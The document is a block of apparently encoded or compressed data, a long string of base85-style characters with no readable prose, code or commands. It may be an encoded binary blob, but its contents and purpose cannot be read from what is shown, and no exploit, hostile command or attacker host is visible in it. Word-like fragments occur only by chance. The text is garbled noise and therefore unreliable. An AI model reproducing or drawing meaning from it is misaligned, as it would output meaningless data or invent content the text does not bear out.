zol$kQ*MCLlb~n$j`_h-SqJ7bg>j!>asLj1IiRph-`(5n2Z{UZWSVWMK?Av@Hsf&7u?WhXinzH_b?J#@JXW57j` z_jNY|W*PA?lR;oobDdaFt$zu^>&T!@Tp6)$$U_^^ydiC#Rfxu#YyBC~5&P1Of-r?` z3(j5tr720URj)APl=|SEfdHw}p089e;%&Cnj8Boq`oLaK|M5I0=eQ6#b+e%$0sP?? zqO3ymIqq@C6o}wJpOo^`i6_OeyFyIco%>K;)3}dR$OoMt_64u3zM?s}JpIS`K2SLg zyhd-HH>F~eUJb7%lZx!-=tiU@_OTuR!Pqoq!k)KFE+0)u0Sod`|ayg zpKKM|YFjjgIt0V&Iog!u9Bzh&JMZsP>ddZO{{7vJBx)gE4QWF9Q5Rx~5CVRZwN)LJ z^P)UrxU7i&nt}a!aph*Kh~nCsNnBXTCCWB2UHx_Q>hn^RQ5)1|ZQXkOysVr0r+fWP z{^27+weRweoB_a)q;z~BfgocSB^L?*m#h#pZ+uqhNzH0W&HpWypw*+*D50ZcqLWXh zr@lHIxFWMCI#(5+--;0NN6iHVbmTaB5Pomo(qg`NorMb;}xfV2bw28UuW2o|~c zdHy+D6!01sl(rR=3l&sJ5WJEKaz-H$7(Qy`6Bahg6%ln5x#S4~M{(#?kTyzivBBsh zBm+jIsD!1A3oddo0w@$TemOrZK6zBJ1>xf*L5@qRT9-omf25GtHvdi`h1lSUiy(#6 zWM$Fhpw;qhMC9KBZC+Q37X&Is>@=nlcuLlSm&~Gc$FlC8b-|oY*bBbWi5i;rru z8{_Ny@KQ53GtrPO(OmeNt@O34h-6RY6f-VB0;hH@rwtybjpIO|3Gm>YX?&)chu#BC z9iMF0V+#k5i<%}uvRRUJ^+#Wi(Ebr|V%zbmvc3m73rBU?HDMAW_e zmn`Wi2#m`KF)t!kWssCS$*l(cx7sD`qGi?ZePqpta7S^4TX|?^BUYT-Tm+xYmgYT?sk77DvV#+pgZu-dOjmuAUK)v+{o$K$S3BTts(QsYe? z6)L5r#}A*|c9P~5IOP~CG@mZWnO2x58Zo5^tybAqzb1=J)t!h6Kciu&bRBX?z4GVp zlVK#vj8)-ZFG#3=h}^s98P${LO5Nt-1CrGf9fjBKsPT%5(-)>J{0Vv~^~MXOO-nLM z)Urg(6U0oqG!nLR`Vyvm*jzEglkzo&TiT_3Vft(YIO8^gNa{!tXG^ynnA@ORuJp4~ z=RA3@4{rI=xGce3m0x_^Ze0Ecu}9$ngYQY9&i#{}Vk3nYCndzf>_Wxn%Lvc1i#M}8 z3+#i|+$)^_K`vrA*0{Y<8)vHhlu?Agv2gZ+w%_yHA#P3khIDRhOgSVmMM_>4 zrpJtn5IOpOLrJ>`msH^iO!ESlUJSjCuv${#GNOXbWliRWlT2gXB>f(ox8RFrI%8|) z?z~igz#k9iIpdg<7P$QrSc_zm^dKBE&Yz{BHO_4!tWesA4B7ns+0mTNfACjklFk(G z&SPYHyaPhBwxo%uH;$t@WBXs*lM~l+SybAj2v`T$uAmr`xf!Rzc*TA%CMi5* zew}70{hTnOauE}X7(mD*Q)KP4d*#~vVzk$IIh<>-Qmf-2e3y$me^AHZ;%k8&6Ec#> zeX&c%m$V798$W*c0-d}ezzZyy(zxdnP6LtsXD=}D({TjZPfWQKuim&pKal^{4+w}@ zhzV&)$=N_ZproRr|4zsW2m3{a!-2BD#yzOIR3cn?@|FqU974oo+_>TmAm zWQl-UdWKr2&sbLPTV3@BexdzUC42X9d%p_%fI9n-76{6R{u+4qvkSaiN;*p*~@uB@3aIYZ1=Iz!!|u=ZQBKh%d+k^*U)3myWuXX(IqK z_H28BT-09f)G^-wtEdD1UqMm`-tfy#Dh1Bp0m5AS9lI;n4Fw{Lz4pV&_f zek-^WU_%2l4Fa7(e02ZQ%=;fvaQ_egp9K9t{6{uKBxtrL*ZF_aJ73FN8FORxD9m51zqB!*+F@%V5xjC^?%{h2b=l zP#8w~oQv6h5W1-!$yizC@fsE7AbeD9v! ztZdAiB{!$PuYpuJ#VwHAkx%j=%^XuwsRZl0LwDhNr3j?JV%8p6ay;?1v6nV3H4~*4 zfAJ&Jq1K=44ll=lUwnRNU?kv|Q);%?y}~_T#Z%fYeb6sBdPTr%#(053 z9a-yAP)D0mMnm`Xw*yQhe@4ld3k-amdNLHrmT=K5G6*yMyikY_a+bitXit{}p~eTN zFjJ$4P|-Kd&2p8%7#FB^cXwwEGAilQgd8HIvw4~Fq%%2)T9b6ysOg2WS?Rk!txlA-aQfsTCYl`vf(pNCs2jUER-bAk6ASc zsVwR-aYZy~ku`~TWU&|;G3s+DKxDFoe2*XtO!05ciWUu`+2)poLivh1+wHoOv{1K5 zBwk?_S^Z!2uZncN!lL`1zZ%%lq=G=gEd5^(9e8!U9zKeC`FiAG5Y;T%NxAKi|MS0005{=Leq0Xod&#zA-@m z9?bh^D)0XplJ|WQ#zRHywEsDh_n+{1V7~o9BZ1-8-~w2E`isp2B@;i*&ftC!dR}th zAwB#kJO3|`-oGLA>K1W7=q14EWt)8mQt+tWH%<>YQ2&DJfk*?C$+3}dW%3)Rhllij z;7xzk9>9zweh2eX<9)pn^7F&9ek>8B6^7Ro0IanjE`_iX5Z#F`l=hAFg{AT+>_CQa z2q!_Nad=P)Cyk^TOHp+H;0jhag)(cBk=+nU#A|Lu<=3#ZdWb?>CU}yk5_<$O7{_~3 zScE&CB!t)9Kl)HAlS=u(nH2h`xc#&8B#R`^f(wM*kCm%!`uLj}6J~`zKO-e9GI>`0 zmO;*pe$1Hi(}B!0j1Yeo3(0M9gz%H)?AMns-`6_LUaLv1C4X$up+~0SM{LZFc*?@A z8~&@(i;iYGhFV33xhKR1{FAyhKAOilzD#%f2Az}t?NZg(pIcR>pCA6cRki6|w7-yf zsJ7O8_afqQUg71iLDA0Jrt#hKY%;DH2UGM*-I{T+e&(H_N*^9F?Y!%OFv8#3xu+1M zi+4*xek0MUB;cw)>TiDXcom;S<934*rGEs4Ynw9*#;)*VPRrTq4wE(IRv? zv5MHW^cnobqrubvc$J-k8Ieh@4zb>)b=ZHjK&0!)k5GQjjGASRkC|&!Q%HNeM1TCw zlZ@`t+ont=?m=l?Q*IYNB6few>=u$ujCp^Ff?`=NlS|R)t%k<6*U4;py|znh73Q>F zaDf2jibq_*)d74f zxH@3Am>>R0wt}U}{}^ul>oR@+1?kt>s*oW@jvLD?folOO4V#bY4J^$2Oa%gTgn4rJ z1Ys?w8RXn=HYrIKP|QAlu`y9z9bO)(kxLCST*M~AhB1-y>?G8NM1p#9*Gy>x5H?MuU`N1=Iy)l_a8p~`swp;zyI;Y z2DWs6f07_`m7-hZYM~{gVy3}G7y|pH#AS(~j5Pzv?2+OMuV7`Vh8HqCYK`gyu42V*eyOGEO>(Bjcp8AGF$7!vt1n&)`SnMz{2l86P)$F`n zG|7*e^$CNhJgOQ)Gxbpn0h+f7E(uX%MsR%U%5HiN#nNW4&W;aR%@wAv{|2RoDg8WB zIe#CLOwcj#=LDqlu=sD7s4uljE?`9QfGCq0Gc6a`9|bN8uulM*EeTJ$sBVluFe(-@ znhs!>6zqV?soBdpG|DS_UQ+Z01_=PP6)e&e6)r0(d4YvduxSclL^b;xS5(yDh$uX) z9W@3zgJxI{!l4j9g18;d@a1Hz?P~*$vW6r#q-*Ad-!1* z2@gf>fQ8g3yDOkAfIU>Ou^OL(iXX!zIBA20S8z&`LTtg#G+07S9ml168-VrJ?7`ja zNnCEERc`+V-t(Bl6?Ci?CVCbP90HcLxU{u+V6}J>SCST3QdEMUw#RnC?sZv$by;(F zdCw+Tbp@VB?Kk8VEWhIUZeVy61_8sPCC{s+z^4Ux9)M^Z*#!-x4TEhPT>)FO?Rj|U z8&wgGs*Xc7-#}r;P!pS-)lqo=W9nYl%o6ZFfbD@9+QbaE{EOi+JM}G0-~Ue-@PBhn z{{Mgc?|cQobk6jX+#=&~OBDgrc`&nnElO;+N&On5XF}!fwoW>N4cS_$XGS0v@EGN| zCTqf3ChmalmJM@Dy9_Q9`J)wDY8ruFA+*-~3MIuQOdcj=!KJpEQII;$9KL%2F6Z-> z!EK(dj!wK*KKbFiK{1s-<>hpax$Vl5zozL(jxM`e+~v$a;V=u=|h()y)dL=^}Z;x1vKUAm=( zFd-fB($ocpi}1x(oyQ$u^Ej2l%Pc~3w^002x|k-z^P2^a`{b3~Q$!=nHV1?84u*`Dh7*3DKt+D~V$vIm|MTR=Aiu8}*0?ED`i9M3W+B z6vFHxW>(BE%xbtqIW*D`x*uHNVcC4m7?2MUdU39e2vepqy*l6GLVYQ zgsO7>OFc2|0tBdzWdDF>iVoheoPM)92a!EjVxg%>ub|fyCuB82wDzZZWPH0Pdh#Y| zqS|houI_Ef&&fg+H3n%(Y`glUS(Qxv>}c{(#-2Or0vVKu-2%<@)0cg-q!Iy`zmn)t z{FIINwq+riV7UH!*a{+HWkK@uZ$}`HAGs-vd1AApRerB)2X4l`$?zsmZx&VfC zZqFjVEH~8P3vzCK38=>328_}egYweK@^W-}O@H~!OhrvO7&$6$WL2UjtKzMyDsrku zaaD^8)u{gJ?ghL>-JDm`yInIdhF{0&D6H-1s2$s{ujr~DzKfqy+VMzrOR53BVs~I# zhqqfN?zb+^w^e8U*wLx2ZLjTVZ|Z9w+r?Wa9q8_fy&f#4XXc=H0oONx`g_4)3XPco zg&KfQ-@Ow2z7AN=oSd28-{1c~IZFQTluGbtLA4D2SuOu7PdD)1M=#-@Zjf@F15Y;y zOBS$);h%2sHYL?h`SEmvuEl4^^$1ZZ1mIlDpyYnHJCREs_p9|wZOoje!nir3x^1yO zD>+qhEE3Jbwq1{_zdzk@ck}*6^qWq*>wo-8!xh5{oy#KWo7=!Y-B9pRgq6#1|75zG zm1TM|TIK{i-C+1k?WGk5G6uSRj?T7nwe`_^|B-8aIB=pxxkiV3jlSA6_|<2P)HCT$ zMXc%r=WD8;o*u`1hBK0!nKT$LnsJ-<){cGJ-V&YoYT%Bh>XLKUd^EhOaHDU=1juBQ%! z$RY$1U+eM-=7qSrUj2vb=LZ~S>R1GQ+86p%8U)`t8KcZYJ~DyOQ%pL&ESy1?R@O4v zN<@mIXwA|a^_kZeseC?9ej_F{iN!|@5JnN7LkI-oAW6wgW{}2YW>c|QQtN_E`KziGLO#kn>$I>N7rzEXROoRwc?Rt{ zL1$c2(iyBjX0DTr3)%mA`oYjTNTLr}AI%b9a15Cx7wvxgFG+O3yFeC??sv;v;jp8V(#k*YLI~D}-olZn| z(_bzX>hH|KM!Tge*pb^q1Q2|G4wLrop_@HH75 zfyl&15GQy9pMrb-PST}p0`siojm~X_lv&5fx8oJCtDCp|7~wJO#C7$(%gn&)J20#s-d^u=lT0#*}ME^ zNVwwb(H-duj?uw~!KC3%nl@ck+p^?Rd^jrtsc61n8yA5y-O!)B?Fhapv4f_h`rTkB zWF#e_Af@7@s4+j^7HGkQ~CEV2` zz}2t9HL}4qb=ciI))RFYaMdTEa3fHiEjY0+#J?c4cs49HCfpJh9@Y_Fu^CZ-jtZ=e zitdWm=8UOYj=>zqb{)sZpc9dNN!>@uwQZ>pVX5hvX;yq`0}s;2pJtBYvZB4Sv$Jyp z;_@QO^Sbx(F8cIA{`_e{Qgl(+^`g?sq8VIqqEAT`8b9Vw?BfyIFx86m;EKxXil*+0 zk)z7`_NrjHs>+nAjKm%hk7+EaZ)%@!&Wr;aOl{>UZM~yF>~>5a zp^EHLHN&W(P1Gd1Gc&3)GXdS*i@tjgPtIazdnR{#@4f6p<@I%?_DyZ}&Ch`y3jEYR z)rFbc0FVBF?$N*UcwlU4;Lh`byDvwpu8pn?PfV{)9K4)t%A7pho;3dTO#5X0rIr~1JCG%5*NAnq!S0(ex=-ps86uy^A#de#Qvj&;>&JNxRXq625 zv4i)7gg0Q<+`hdhw5g>K{>-vfuAS3TDwR@l)T{jO_k>z+B+=HLVZlp1wgU=FLS^W? zDQ<%~-0?#ecl&(a7dmbH>SH+=64=T8GKbm8sN!Hc|Bu^fTU%{SioG-|>v~o5?(V1S zBNy#v^MfA32fcM!Y#lHsN$xEMd&b6hssmr$?z5h49F~?9PAe%f)01UEH?NcJS?QCP z92>@=UUXxMTfIKKAg@vCD2}=RzU|jtOSsw#^}~s?Cj!0mwG1qXf_gK31NN_eLGjiw zNwdX4yN!wQkNthHGQS}dvxIhqqh0mVnfdh=Yy@^yAojIRUA)AfckZNka%b_GQR`%} zxYG@{Hm0$SKXpkbbgJafcpa)&n8~Z7RGmdyWcxUUxmjpX@maEazD2<4 z;~Q{N@o&8CNs)F&>&f@P6{#cswA9jo0#0n}^&O9TTH%r*{;blO5Hc%V-dZJ6?PovV zULD+fue~OGS>L-R>b`PEZ36Da^O~f`u^T^}FA?-RHR>f)@%WZ~TXxs_hD z^?4d0SqS_Uw!F|jn|mat-%B_bWv5@A3rXogr_#%&U~ksn_Z46QFDj9g7s|{LP)NJ3 z@zUA%VI5q4R{B$LR&2_oA{J|I(t z%L?BSP?RH6w8^$YJRkZKR z`TAec?l1Vxg9mdhzI7fVGFnn<5j>bnMN7${^nLk{iiUxTfdlj(z~+M70gvZ$+0e2` z(L%2RJeN+hl!5vR9?}IK6L=U0aJnFgU@~Qv31XqX08m}l3*xL|0qpD+95fVM_T2#6 z6(A=TpjE_^yO-nf*sd5%)O!T~R)B7XI2G(W!Yd)6Afcf51L4&OkPMrVVrRgMCzS(?rvZxh za?0{wAn%pf?kib4_^m_(O9U&EwvrwjIPYcHccK^IypFAh&br2c=ylV(;_g}e zo$CdQD1htrjI#8C^LnKfdlhteD=-7b*WW@a!1hu==e_Tk?{~&GBEJAIzL6;vQ7(ot z*xNra-$7iQK0BTfGT}?;Jp_zzs*i4JL1Ak1M(P+YEi~u{@;mV;!z|`2_){`Mj-q8B) z5BwJu_mlly`G)`gFJOOx96AJGE~fgQU$SFjtkpAnI4+wl`|~9`MJQzzIm6lw;{z+l zdqKx_5r4g8r?~RyNO>U7pq$z197MaQ-MY)kq=~Wkm+a(Apu%Fz;3Ydmo5|2BGkD2P zb||Qaau{aaZ?UF%i7fEWZLeynGVLzQ*SEqmagB$<8=Xp$IS14Ph8Ivy9Wf82bDxM> zszg?c-Eg3#Z;BYK9ZY%Z&LJ%G;u_6wB2r|*Rm&+M0Y{OqnPRB+xe=+oc>2Hs+e1mw88Qb75Zaw+ChF2kEg^bLMRl`QuSTDZ$9 zmAhu)%gSZ5JBV-+oyV{_d{qf9q6&KKQ%%;aBqlnCf0=SmDcG&d|8HOhWkYIo;xPMKZxd0Uyy zne4L)cjr#8s&S91rxpHT;?HZG(8}KBGHRWokQ$J=h~%U-(a5F=$oVv7a;#G|r}^D7 zY|79?qgsp1@1HhhD~$WJWd*6A6mofrRvWH?PNslrAHON)7a*8dFpv5Qec3%2G_a}g z09EbZGa$v()rCDno%KyN=MYN`RvSokp~D1W=#jnO1N!&PRVDlG-bbTL*XmUy20C?W z{Dya|L9{z)A{f+vw1s{(((`MM)bMba#mn)DE&tcDuh)O??QS`0Tn2I|;O*QGIb?(( zUmbth(>nqCo1lQG2&iBmM;)+_I>UaxfHQM`=bYU=yL`3O zu^Iuw>@Q8qkD`8+z41;-Dc9-PtVV5VdGl|>FLB!2%`LM)rFvC6_CYWa2zkX1|pQUW@1!p-sO|;tt zi^dMa-Y*P(pAQoJWX`Qbt-Fj2vyOf79=mKn)jsCZL6Nd}fUuj^i)iae#>?G9m}18G z_1GwCa~{hP)B0RbI#RXbML2dmq{c*;Eq zE7KDSaoZUrWDRD@WD@`FRi>Xs4gYPwX0^fXtdPta!IvgeTC3aVqg1MeGa9E*?>jGW z{}90*HyRUSQ=%ruyNP@$n$|zNkVB0ZP>T>@X?m;2S+#XS^pkg%>B5*J9b8_9F+;1tWW7r(Tio-U=-IK6I4!JYi96 zIx()t?fACsT|{*782?mYqe9!p>}pmGh8Ig|KA%Htk!eNCfARockaQ@ZgTVIXNAckd z4_ak1PQZ^$KA_@}`pBCm0Y6dxd4ZVdxTPDa$-OE#-NAa&9>-|3lA_MDO@|2@;hn@L zntRwJZ`M`A->w-cuP@LF+AC2c-Ne~Ha69m%pr~QV&u+eNzF)A-eKESXLjSu~_YIU< zdy-D;O=OERuS8#`OuU>IXU5d5>*ubbc{$+MvX8c|{@njM>^3}%Y=V%mnMV|u?lRG{ zLGos}6kI9_D4h43A7~eR0*O{a^4KBy)gguRp-eWQaMsCY*UjZXYVT{CfyRwph!f-d zx5$~(3R1cWX>+NE1CjHd!WqNFjY0EbaLQnDEGQ@j6wX4#5@B7kuuC&m+!WX-VU>2B zlqBSU+F4B8RZP`eOfMdYHzYJ8B|wh^?sg}KA(69Zi;QKKEUTQXajKl6hJqkUA+Y